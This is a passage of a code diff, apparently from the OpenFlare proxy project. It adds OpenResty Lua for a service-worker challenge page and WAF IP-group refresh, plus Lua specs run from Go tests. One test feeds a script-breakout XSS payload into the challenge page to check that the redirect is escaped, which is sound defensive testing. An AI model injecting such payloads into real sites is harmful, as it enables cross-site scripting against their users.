-- case-insensitively), then CR/LF (a raw newline would end the literal).
|
||||
local function escape_redir(value)
|
||||
local escaped = string.gsub(value, "\\", "\\\\")
|
||||
escaped = string.gsub(escaped, '"', '\\"')
|
||||
escaped = string.gsub(escaped, "<", "\\x3C")
|
||||
escaped = string.gsub(escaped, string.char(0xE2, 0x80, 0xA8), "\\u2028")
|
||||
escaped = string.gsub(escaped, string.char(0xE2, 0x80, 0xA9), "\\u2029")
|
||||
escaped = string.gsub(escaped, "\r", "\\r")
|
||||
escaped = string.gsub(escaped, "\n", "\\n")
|
||||
return escaped
|
||||
end
|
||||
redir = escape_redir(redir)
|
||||
|
||||
ngx.header.content_type = "text/html; charset=utf-8"
|
||||
ngx.say([[<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex,nofollow">
|
||||
<title></title>
|
||||
<script>
|
||||
console.debug("[sw-challenge] challenge page loaded, redirect target: ]] .. redir .. [[");
|
||||
if ("serviceWorker" in navigator) {
|
||||
console.debug("[sw-challenge] registering service worker /sw.js");
|
||||
navigator.serviceWorker.register("/sw.js").then(function () {
|
||||
console.debug("[sw-challenge] service worker registered");
|
||||
document.cookie = "__openflare_sw=1; Path=/; Max-Age=31536000; Secure; SameSite=Lax";
|
||||
location.replace("]] .. redir .. [[");
|
||||
}).catch(function (err) {
|
||||
console.debug("[sw-challenge] service worker registration failed, redirecting anyway: ", err);
|
||||
location.replace("]] .. redir .. [[");
|
||||
});
|
||||
} else {
|
||||
console.debug("[sw-challenge] service worker unsupported, redirecting");
|
||||
document.cookie = "__openflare_sw=1; Path=/; Max-Age=31536000; Secure; SameSite=Lax";
|
||||
location.replace("]] .. redir .. [[");
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>]])
|
||||
`
|
||||
|
||||
// ManagedSWLuaFiles returns embedded Lua assets for the SW offline challenge.
|
||||
func ManagedSWLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "sw/runtime.lua", Content: openRestySWRuntimeLua},
|
||||
{Path: "sw/challenge.lua", Content: openRestySWChallengeLua},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
lua "github.com/yuin/gopher-lua"
|
||||
)
|
||||
|
||||
func TestSWRuntimeAndChallenge(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
runtimePath := filepath.Join(t.TempDir(), "runtime.lua")
|
||||
if err := os.WriteFile(runtimePath, []byte(openRestySWRuntimeLua), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
challengePath := filepath.Join(t.TempDir(), "challenge.lua")
|
||||
if err := os.WriteFile(challengePath, []byte(openRestySWChallengeLua), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
specPath, err := filepath.Abs("sw_runtime_spec.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
state.SetGlobal("SW_RUNTIME_PATH", lua.LString(runtimePath))
|
||||
state.SetGlobal("SW_CHALLENGE_PATH", lua.LString(challengePath))
|
||||
if err := state.DoFile(specPath); err != nil {
|
||||
t.Fatalf("SW runtime/challenge specification failed: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
local runtime_path = assert(SW_RUNTIME_PATH, "SW_RUNTIME_PATH is required")
|
||||
local challenge_path = assert(SW_CHALLENGE_PATH, "SW_CHALLENGE_PATH is required")
|
||||
|
||||
local function assert_equal(actual, expected, message)
|
||||
if actual ~= expected then
|
||||
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
|
||||
end
|
||||
end
|
||||
|
||||
-- Stable tables: never rebind `exec_calls` / `redir_args` (closures capture
|
||||
-- the upvalue slot; rebinding can leave stale values visible under
|
||||
-- gopher-lua across long test sequences). Clear them in place instead.
|
||||
local output = {}
|
||||
local exec_calls = {}
|
||||
local redir_args = {}
|
||||
|
||||
local function clear_state()
|
||||
for i = 1, #exec_calls do exec_calls[i] = nil end
|
||||
redir_args.redir = nil
|
||||
end
|
||||
|
||||
ngx = {
|
||||
var = {},
|
||||
header = {},
|
||||
exec = function(uri)
|
||||
exec_calls[#exec_calls + 1] = uri
|
||||
return true
|
||||
end,
|
||||
say = function(body) output.body = body end,
|
||||
req = {
|
||||
get_uri_args = function() return redir_args end,
|
||||
set_uri_args = function(args) redir_args.redir = args.redir end,
|
||||
},
|
||||
}
|
||||
|
||||
local function load_runtime()
|
||||
local chunk = assert(loadfile(runtime_path))
|
||||
return chunk()
|
||||
end
|
||||
|
||||
local function reset_request(user_agent, uri, cookie, args, method)
|
||||
clear_state()
|
||||
ngx.var = {
|
||||
http_user_agent = user_agent,
|
||||
uri = uri or "/",
|
||||
scheme = "https",
|
||||
host = "example.com",
|
||||
args = args,
|
||||
["cookie___openflare_sw"] = cookie,
|
||||
}
|
||||
ngx.req.get_method = function() return method or "GET" end
|
||||
end
|
||||
|
||||
local function test_module_contract()
|
||||
local runtime = load_runtime()
|
||||
assert_equal(type(runtime), "table", "sw.runtime must return a module table, not true/nil")
|
||||
assert_equal(type(runtime.check), "function", "sw.runtime must export check()")
|
||||
end
|
||||
|
||||
local function test_non_browser_ua_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request("curl/8.0.1")
|
||||
assert_equal(runtime.check(), true, "non-browser UA passes through")
|
||||
assert_equal(#exec_calls, 0, "non-browser UA must not intercept")
|
||||
|
||||
reset_request("")
|
||||
assert_equal(runtime.check(), true, "empty UA passes through")
|
||||
|
||||
reset_request(nil)
|
||||
assert_equal(runtime.check(), true, "missing UA passes through")
|
||||
end
|
||||
|
||||
local function test_browser_ua_non_get_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request(
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"/",
|
||||
nil,
|
||||
nil,
|
||||
"POST"
|
||||
)
|
||||
assert_equal(runtime.check(), true, "non-GET request passes through")
|
||||
assert_equal(#exec_calls, 0, "non-GET request must not be intercepted")
|
||||
end
|
||||
|
||||
local function test_browser_ua_with_cookie_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request(
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"/",
|
||||
"1"
|
||||
)
|
||||
assert_equal(runtime.check(), true, "browser UA with cookie passes through")
|
||||
assert_equal(#exec_calls, 0, "cookie holder must not be intercepted")
|
||||
end
|
||||
|
||||
local function test_browser_ua_root_without_cookie_intercepts()
|
||||
local runtime = load_runtime()
|
||||
local chrome = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
reset_request(chrome, "/")
|
||||
runtime.check()
|
||||
assert_equal(#exec_calls, 1, "browser without cookie on / must be intercepted once")
|
||||
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "intercept targets the challenge page")
|
||||
assert_equal(redir_args.redir, "https://example.com/", "redir arg preserves scheme+host+uri")
|
||||
|
||||
reset_request(chrome, "/", nil, "a=1&b=2")
|
||||
runtime.check()
|
||||
assert_equal(#exec_calls, 1, "second request also intercepted")
|
||||
assert_equal(redir_args.redir, "https://example.com/?a=1&b=2", "redir arg keeps the query string")
|
||||
|
||||
reset_request("Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", "/")
|
||||
runtime.check()
|
||||
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "Firefox intercepted")
|
||||
|
||||
reset_request(
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
|
||||
"/"
|
||||
)
|
||||
runtime.check()
|
||||
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "Safari intercepted")
|
||||
end
|
||||
|
||||
local function test_browser_ua_non_root_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request(
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"/about"
|
||||
)
|
||||
assert_equal(runtime.check(), true, "non-root uri passes through")
|
||||
assert_equal(#exec_calls, 0, "non-root uri must not be intercepted")
|
||||
end
|
||||
|
||||
local function run_challenge(redir_value)
|
||||
output.body = nil
|
||||
ngx.header = {}
|
||||
redir_args.redir = redir_value
|
||||
local chunk = assert(loadfile(challenge_path))
|
||||
chunk()
|
||||
return output.body
|
||||
end
|
||||
|
||||
local function test_challenge_embeds_plain_redir()
|
||||
local body = run_challenge("https://example.com/page?a=1&b=2")
|
||||
assert_equal(
|
||||
string.find(body, 'location.replace("https://example.com/page?a=1&b=2")', 1, true) ~= nil,
|
||||
true,
|
||||
"plain redir embedded verbatim"
|
||||
)
|
||||
end
|
||||
|
||||
local function test_challenge_escapes_script_breakout()
|
||||
local payload = '"/><script>alert(1)</script>'
|
||||
local body = run_challenge(payload)
|
||||
assert_equal(string.find(body, '"><script>', 1, true), nil, "raw breakout sequence must not appear")
|
||||
assert_equal(string.find(body, '\\x3C/script>', 1, true) ~= nil, true, "less-than must be hex-escaped")
|
||||
assert_equal(string.find(body, '\\"', 1, true) ~= nil, true, "double quote must be backslash-escaped")
|
||||
end
|
||||
|
||||
local function test_challenge_escapes_backslash_and_newline()
|
||||
local payload = 'a\\b";' .. string.char(13, 10)
|
||||
local body = run_challenge(payload)
|
||||
assert_equal(string.find(body, 'a\\\\b\\";\\r\\n', 1, true) ~= nil, true, "backslash, quote and CRLF escaped")
|
||||
end
|
||||
|
||||
test_module_contract()
|
||||
test_non_browser_ua_passes_through()
|
||||
test_browser_ua_non_get_passes_through()
|
||||
test_browser_ua_with_cookie_passes_through()
|
||||
test_browser_ua_root_without_cookie_intercepts()
|
||||
test_browser_ua_non_root_passes_through()
|
||||
test_challenge_embeds_plain_redir()
|
||||
test_challenge_escapes_script_breakout()
|
||||
test_challenge_escapes_backslash_and_newline()
|
||||
|
||||
return true
|
||||
@@ -0,0 +1,45 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
//go:embed waf_runtime.lua
|
||||
var openRestyWAFRuntimeLua string
|
||||
|
||||
//go:embed waf_ip_groups.lua
|
||||
var openRestyWAFIPGroupsLua string
|
||||
|
||||
// Vendored from https://github.com/api7/lua-resty-ipmatcher v0.6.1 (Apache-2.0).
|
||||
// OPM has no api7/lua-resty-ipmatcher package; deploy with Agent Lua assets instead.
|
||||
//
|
||||
//go:embed resty/ipmatcher.lua
|
||||
var openRestyIPMatcherLua string
|
||||
|
||||
const openRestyWAFCheckLua = `local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/waf/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
return require("waf.runtime").check()
|
||||
`
|
||||
|
||||
// ManagedWAFLuaFiles returns the embedded Lua source files that must be deployed to the WAF runtime directory.
|
||||
func ManagedWAFLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "waf/runtime.lua", Content: openRestyWAFRuntimeLua},
|
||||
{Path: "waf/ip_groups.lua", Content: openRestyWAFIPGroupsLua},
|
||||
{Path: "waf/check.lua", Content: openRestyWAFCheckLua},
|
||||
// resty.ipmatcher under lua_package_path <luaDir>/?.lua
|
||||
{Path: "resty/ipmatcher.lua", Content: openRestyIPMatcherLua},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
lua "github.com/yuin/gopher-lua"
|
||||
)
|
||||
|
||||
func TestWAFRuntime(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
runtimePath, err := filepath.Abs("waf_runtime.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
specPath, err := filepath.Abs("waf_runtime_spec.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
state.SetGlobal("WAF_RUNTIME_PATH", lua.LString(runtimePath))
|
||||
if err := state.DoFile(specPath); err != nil {
|
||||
t.Fatalf("WAF runtime specification failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWAFIPGroupRefresh(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
modulePath, err := filepath.Abs("waf_ip_groups.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
specPath, err := filepath.Abs("waf_ip_groups_spec.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
state.SetGlobal("WAF_IP_GROUPS_PATH", lua.LString(modulePath))
|
||||
if err := state.DoFile(specPath); err != nil {
|
||||
t.Fatalf("WAF IP group refresh specification failed: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
local _M = {}
|
||||
|
||||
local current_groups = { groups = {} }
|
||||
local current_version
|
||||
local initialized = false
|
||||
local shared
|
||||
local read_checksum
|
||||
local read_json
|
||||
local decode
|
||||
local log_warning
|
||||
local max_snapshot_bytes
|
||||
|
||||
local refresh_lock_key = "ip_groups_refresh_lock"
|
||||
local raw_snapshot_prefix = "ip_groups_raw:"
|
||||
local version_key = "ip_groups_version"
|
||||
local previous_version_key = "ip_groups_previous_version"
|
||||
|
||||
local function warn(message, err, forcible)
|
||||
local suffix = err and (": " .. tostring(err)) or ""
|
||||
if forcible then suffix = suffix .. " (forcible eviction refused)" end
|
||||
pcall(log_warning, "openflare WAF IP group refresh " .. message .. suffix)
|
||||
end
|
||||
|
||||
local function safe_set(key, value, description)
|
||||
local ok, err, forcible = shared:safe_set(key, value)
|
||||
if ok ~= true or forcible == true then
|
||||
warn(description, err, forcible)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function read_file(path)
|
||||
local file, err = io.open(path, "rb")
|
||||
if not file then return nil, err end
|
||||
local content = file:read("*a")
|
||||
file:close()
|
||||
return content
|
||||
end
|
||||
|
||||
local function valid_snapshot(snapshot)
|
||||
return type(snapshot) == "table" and type(snapshot.groups) == "table"
|
||||
end
|
||||
|
||||
local function decode_snapshot(raw)
|
||||
if type(raw) ~= "string" or raw == "" then return nil end
|
||||
local called, snapshot = pcall(decode, raw)
|
||||
if not called or not valid_snapshot(snapshot) then return nil end
|
||||
return snapshot
|
||||
end
|
||||
|
||||
local function refresh_from_checksum()
|
||||
local called, checksum = pcall(read_checksum)
|
||||
if not called or type(checksum) ~= "string" then return end
|
||||
checksum = string.match(checksum, "^%s*(.-)%s*$")
|
||||
local committed_version = shared:get(version_key)
|
||||
if checksum == "" or checksum == committed_version then return end
|
||||
|
||||
local json_called, raw = pcall(read_json)
|
||||
if not json_called then
|
||||
warn("JSON read failed", raw)
|
||||
return
|
||||
end
|
||||
if type(raw) ~= "string" or #raw > max_snapshot_bytes then
|
||||
warn("snapshot exceeds maximum " .. tostring(max_snapshot_bytes) .. " bytes")
|
||||
return
|
||||
end
|
||||
if not decode_snapshot(raw) then return end
|
||||
local raw_key = raw_snapshot_prefix .. checksum
|
||||
local existing_raw = shared:get(raw_key)
|
||||
local published_new_raw = false
|
||||
if existing_raw == nil then
|
||||
if not safe_set(raw_key, raw, "raw publication failed") then return end
|
||||
published_new_raw = true
|
||||
elseif existing_raw ~= raw then
|
||||
return
|
||||
end
|
||||
if not safe_set(version_key, checksum, "commit pointer publication failed") then
|
||||
if published_new_raw then shared:delete(raw_key) end
|
||||
return
|
||||
end
|
||||
|
||||
local previous_version = shared:get(previous_version_key)
|
||||
if type(committed_version) == "string" and committed_version ~= "" and committed_version ~= checksum then
|
||||
if not safe_set(previous_version_key, committed_version, "previous version metadata publication failed") then return end
|
||||
if type(previous_version) == "string" and previous_version ~= "" and
|
||||
previous_version ~= committed_version and previous_version ~= checksum then
|
||||
shared:delete(raw_snapshot_prefix .. previous_version)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local function adopt_shared_snapshot_if_changed()
|
||||
local version = shared:get(version_key)
|
||||
if type(version) ~= "string" or version == "" or version == current_version then return end
|
||||
local snapshot = decode_snapshot(shared:get(raw_snapshot_prefix .. version))
|
||||
if not snapshot then return end
|
||||
-- Matchers are compiled lazily in waf.runtime (resty.ipmatcher / fallback index).
|
||||
current_groups = snapshot
|
||||
current_version = version
|
||||
end
|
||||
|
||||
local function tick(premature)
|
||||
if premature then return end
|
||||
local locked, lock_error, forcible = shared:safe_add(refresh_lock_key, true, 4)
|
||||
if forcible == true then
|
||||
warn("coordination lock refused forcible eviction", lock_error, true)
|
||||
locked = false
|
||||
elseif not locked and lock_error and lock_error ~= "exists" then
|
||||
warn("coordination lock failed", lock_error)
|
||||
end
|
||||
if locked then refresh_from_checksum() end
|
||||
adopt_shared_snapshot_if_changed()
|
||||
end
|
||||
|
||||
function _M.init(options)
|
||||
if initialized then return true end
|
||||
options = options or {}
|
||||
local runtime_dir = options.runtime_dir or "__OPENFLARE_RUNTIME_CONFIG_DIR__"
|
||||
shared = options.shared or (ngx.shared and ngx.shared.openflare_waf_ip_groups)
|
||||
assert(shared, "openflare_waf_ip_groups shared dictionary is required")
|
||||
max_snapshot_bytes = options.max_snapshot_bytes or tonumber("__OPENFLARE_WAF_IP_GROUPS_MAX_SNAPSHOT_BYTES__")
|
||||
assert(max_snapshot_bytes and max_snapshot_bytes > 0, "WAF IP group maximum snapshot size is required")
|
||||
log_warning = options.log_warning or function(message)
|
||||
if ngx and ngx.log then ngx.log(ngx.WARN, message) end
|
||||
end
|
||||
read_checksum = options.read_checksum or function()
|
||||
return read_file(runtime_dir .. "/waf_ip_groups.json.checksum")
|
||||
end
|
||||
read_json = options.read_json or function()
|
||||
return read_file(runtime_dir .. "/waf_ip_groups.json")
|
||||
end
|
||||
if options.decode then
|
||||
decode = options.decode
|
||||
else
|
||||
local cjson = require("cjson.safe")
|
||||
decode = cjson.decode
|
||||
end
|
||||
local timer_every = options.timer_every or ngx.timer.every
|
||||
local ok, err = timer_every(5, tick)
|
||||
if not ok then return nil, err end
|
||||
initialized = true
|
||||
tick(false)
|
||||
return true
|
||||
end
|
||||
|
||||
function _M.current()
|
||||
return current_groups
|
||||
end
|
||||
|
||||
return _M
|
||||
@@ -0,0 +1,356 @@
|
||||
local module_path = assert(WAF_IP_GROUPS_PATH, "WAF_IP_GROUPS_PATH is required")
|
||||
|
||||
local function assert_equal(actual, expected, message)
|
||||
if actual ~= expected then
|
||||
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
|
||||
end
|
||||
end
|
||||
|
||||
local shared_data = {}
|
||||
local locks = {}
|
||||
local shared = {}
|
||||
function shared:get(key) return shared_data[key] end
|
||||
function shared:set(key, value) shared_data[key] = value return true end
|
||||
function shared:delete(key) shared_data[key] = nil return true end
|
||||
function shared:safe_set(key, value) return shared:set(key, value) end
|
||||
function shared:add(key, value, ttl)
|
||||
assert_equal(ttl, 4, "coordination lock TTL")
|
||||
if locks[key] then return false end
|
||||
locks[key] = value
|
||||
return true
|
||||
end
|
||||
function shared:safe_add(key, value, ttl) return shared:add(key, value, ttl) end
|
||||
local function advance_time() locks = {} end
|
||||
|
||||
local disk_checksum = "v1"
|
||||
local disk_json = "valid-v1"
|
||||
local checksum_reads = 0
|
||||
local json_reads = 0
|
||||
local timer_callbacks = {}
|
||||
|
||||
local function decode(raw)
|
||||
if raw == "valid-v1" then
|
||||
return { groups = { ["1"] = { enabled = true, ip_list = { "192.0.2.1" } } } }
|
||||
end
|
||||
if raw == "valid-v2" then
|
||||
return { groups = { ["2"] = { enabled = true, ip_list = { "198.51.100.2" } } } }
|
||||
end
|
||||
if raw == "valid-v3" then
|
||||
return { groups = { ["3"] = { enabled = true, ip_list = { "203.0.113.3" } } } }
|
||||
end
|
||||
return nil, "invalid json"
|
||||
end
|
||||
|
||||
local function load_worker()
|
||||
local worker = assert(loadfile(module_path))()
|
||||
worker.init({
|
||||
shared = shared,
|
||||
timer_every = function(interval, callback)
|
||||
assert_equal(interval, 5, "refresh interval")
|
||||
timer_callbacks[#timer_callbacks + 1] = callback
|
||||
return true
|
||||
end,
|
||||
read_checksum = function()
|
||||
checksum_reads = checksum_reads + 1
|
||||
return disk_checksum
|
||||
end,
|
||||
read_json = function()
|
||||
json_reads = json_reads + 1
|
||||
return disk_json
|
||||
end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
})
|
||||
return worker
|
||||
end
|
||||
|
||||
local first = load_worker()
|
||||
local second = load_worker()
|
||||
assert_equal(#timer_callbacks, 2, "each worker schedules a refresh timer")
|
||||
assert_equal(checksum_reads, 1, "one worker coordinates initial checksum read")
|
||||
assert_equal(json_reads, 1, "one worker reads initial JSON")
|
||||
assert_equal(first.current().groups["1"].ip_list[1], "192.0.2.1", "first worker adopts initial snapshot")
|
||||
assert_equal(second.current().groups["1"].ip_list[1], "192.0.2.1", "second worker adopts initial snapshot")
|
||||
|
||||
local function tick_all()
|
||||
advance_time()
|
||||
for _, callback in ipairs(timer_callbacks) do callback(false) end
|
||||
end
|
||||
|
||||
checksum_reads = 0
|
||||
json_reads = 0
|
||||
for _ = 1, 3 do tick_all() end
|
||||
assert_equal(checksum_reads, 3, "stable 15 seconds reads checksum once per interval")
|
||||
assert_equal(json_reads, 0, "unchanged checksum never reads JSON")
|
||||
|
||||
disk_checksum = "v2"
|
||||
disk_json = "valid-v2"
|
||||
tick_all()
|
||||
assert_equal(json_reads, 1, "changed snapshot JSON is read once across workers")
|
||||
assert_equal(first.current().groups["2"].ip_list[1], "198.51.100.2", "first worker adopts v2")
|
||||
assert_equal(second.current().groups["2"].ip_list[1], "198.51.100.2", "second worker adopts v2")
|
||||
|
||||
disk_checksum = "v3"
|
||||
disk_json = "valid-v3"
|
||||
tick_all()
|
||||
assert_equal(shared_data.ip_groups_previous_version, "v2", "previous pointer follows committed version")
|
||||
assert_equal(shared_data["ip_groups_raw:v1"], nil, "snapshot older than previous is cleaned")
|
||||
assert_equal(shared_data["ip_groups_raw:v2"], "valid-v2", "previous committed raw is retained")
|
||||
assert_equal(shared_data["ip_groups_raw:v3"], "valid-v3", "current committed raw is retained")
|
||||
|
||||
disk_checksum = "v2"
|
||||
disk_json = "valid-v2"
|
||||
tick_all()
|
||||
assert_equal(shared_data.ip_groups_version, "v2", "rollback checksum becomes current commit")
|
||||
assert_equal(shared_data.ip_groups_previous_version, "v3", "rollback retains former current as previous")
|
||||
assert_equal(shared_data["ip_groups_raw:v2"], "valid-v2", "rollback must not clean its new current raw")
|
||||
assert_equal(shared_data["ip_groups_raw:v3"], "valid-v3", "rollback retains previous raw")
|
||||
|
||||
disk_checksum = "v4"
|
||||
disk_json = "invalid-v4"
|
||||
tick_all()
|
||||
assert_equal(shared_data.ip_groups_version, "v2", "invalid update preserves shared version")
|
||||
assert_equal(first.current().groups["2"].ip_list[1], "198.51.100.2", "invalid update preserves first worker")
|
||||
assert_equal(second.current().groups["2"].ip_list[1], "198.51.100.2", "invalid update preserves second worker")
|
||||
|
||||
local reads_before_requests = checksum_reads + json_reads
|
||||
for _ = 1, 20 do
|
||||
assert_equal(first.current().groups["2"].enabled, true, "request reads worker-local object")
|
||||
end
|
||||
assert_equal(checksum_reads + json_reads, reads_before_requests, "current() performs zero file I/O")
|
||||
|
||||
timer_callbacks[1](true)
|
||||
assert_equal(checksum_reads + json_reads, reads_before_requests, "premature timer performs zero file I/O")
|
||||
|
||||
local function test_failed_commit_never_exposes_unpublished_raw_to_new_worker()
|
||||
local data = {}
|
||||
local held_locks = {}
|
||||
local callbacks = {}
|
||||
local checksum = "v1"
|
||||
local raw = "valid-v1"
|
||||
local reads = 0
|
||||
local fail_commit = false
|
||||
local interleaved_worker
|
||||
local load_regression_worker
|
||||
local regression_shared = {}
|
||||
|
||||
function regression_shared:get(key) return data[key] end
|
||||
function regression_shared:add(key, value)
|
||||
if held_locks[key] then return false end
|
||||
held_locks[key] = value
|
||||
return true
|
||||
end
|
||||
function regression_shared:delete(key) data[key] = nil return true end
|
||||
local function set_regression_value(key, value)
|
||||
if key == "ip_groups_version" and fail_commit then
|
||||
return false, "shared dictionary full"
|
||||
end
|
||||
data[key] = value
|
||||
if fail_commit and string.sub(key, 1, #"ip_groups_raw") == "ip_groups_raw" and not interleaved_worker then
|
||||
interleaved_worker = load_regression_worker()
|
||||
end
|
||||
return true
|
||||
end
|
||||
function regression_shared:set(key, value) return set_regression_value(key, value) end
|
||||
function regression_shared:safe_set(key, value) return set_regression_value(key, value) end
|
||||
function regression_shared:safe_add(key, value) return regression_shared:add(key, value) end
|
||||
|
||||
load_regression_worker = function()
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = regression_shared,
|
||||
timer_every = function(_, callback) callbacks[#callbacks + 1] = callback return true end,
|
||||
read_checksum = function() return checksum end,
|
||||
read_json = function() reads = reads + 1 return raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
}))
|
||||
return worker
|
||||
end
|
||||
|
||||
local established_worker = load_regression_worker()
|
||||
assert_equal(established_worker.current().groups["1"].ip_list[1], "192.0.2.1", "v1 is committed before failure")
|
||||
|
||||
held_locks = {}
|
||||
reads = 0
|
||||
checksum = "v2"
|
||||
raw = "valid-v2"
|
||||
fail_commit = true
|
||||
callbacks[1](false)
|
||||
|
||||
assert_equal(reads, 1, "failed commit still reads changed JSON only once")
|
||||
assert_equal(data.ip_groups_version, "v1", "failed pointer write preserves committed version")
|
||||
assert_equal(data["ip_groups_raw:v2"], nil, "failed commit cleans only unpublished v2 raw")
|
||||
assert_equal(established_worker.current().groups["1"].ip_list[1], "192.0.2.1", "existing worker preserves committed v1")
|
||||
assert(interleaved_worker, "raw publication must interleave a newly initialized worker")
|
||||
assert_equal(interleaved_worker.current().groups["2"], nil, "new worker must not expose unpublished v2")
|
||||
assert_equal(interleaved_worker.current().groups["1"].ip_list[1], "192.0.2.1", "new worker must never adopt unpublished v2 raw")
|
||||
end
|
||||
|
||||
test_failed_commit_never_exposes_unpublished_raw_to_new_worker()
|
||||
|
||||
local function test_capacity_failure_never_evicts_committed_snapshot()
|
||||
local data = {
|
||||
ip_groups_version = "v1",
|
||||
ip_groups_previous_version = "v0",
|
||||
["ip_groups_raw:v1"] = "valid-v1",
|
||||
["ip_groups_raw:v0"] = "valid-v0",
|
||||
}
|
||||
local locks = {}
|
||||
local callbacks = {}
|
||||
local disk_checksum = "v1"
|
||||
local disk_raw = "valid-v1"
|
||||
local json_reads = 0
|
||||
local ordinary_writes = 0
|
||||
local warnings = {}
|
||||
local dict = {}
|
||||
function dict:get(key) return data[key] end
|
||||
function dict:delete(key) data[key] = nil return true end
|
||||
function dict:add(key, value)
|
||||
if locks[key] then return false end
|
||||
locks[key] = value
|
||||
return true
|
||||
end
|
||||
function dict:safe_add(key, value) return dict:add(key, value) end
|
||||
function dict:set(key, value)
|
||||
ordinary_writes = ordinary_writes + 1
|
||||
if key == "ip_groups_raw:v2" then
|
||||
data = { [key] = value }
|
||||
return true, nil, true
|
||||
end
|
||||
data[key] = value
|
||||
return true, nil, false
|
||||
end
|
||||
function dict:safe_set(key, value)
|
||||
if key == "ip_groups_raw:v2" then return nil, "no memory", false end
|
||||
data[key] = value
|
||||
return true, nil, false
|
||||
end
|
||||
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = dict,
|
||||
timer_every = function(_, callback) callbacks[1] = callback return true end,
|
||||
read_checksum = function() return disk_checksum end,
|
||||
read_json = function() json_reads = json_reads + 1 return disk_raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
log_warning = function(message) warnings[#warnings + 1] = message end,
|
||||
}))
|
||||
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "worker starts from committed v1")
|
||||
|
||||
locks = {}
|
||||
disk_checksum = "v2"
|
||||
disk_raw = "valid-v2"
|
||||
callbacks[1](false)
|
||||
|
||||
assert_equal(ordinary_writes, 0, "snapshot publication must never use evicting set")
|
||||
assert_equal(json_reads, 1, "capacity failure reads changed JSON once")
|
||||
assert_equal(data.ip_groups_version, "v1", "capacity failure preserves commit pointer")
|
||||
assert_equal(data.ip_groups_previous_version, "v0", "capacity failure preserves previous metadata")
|
||||
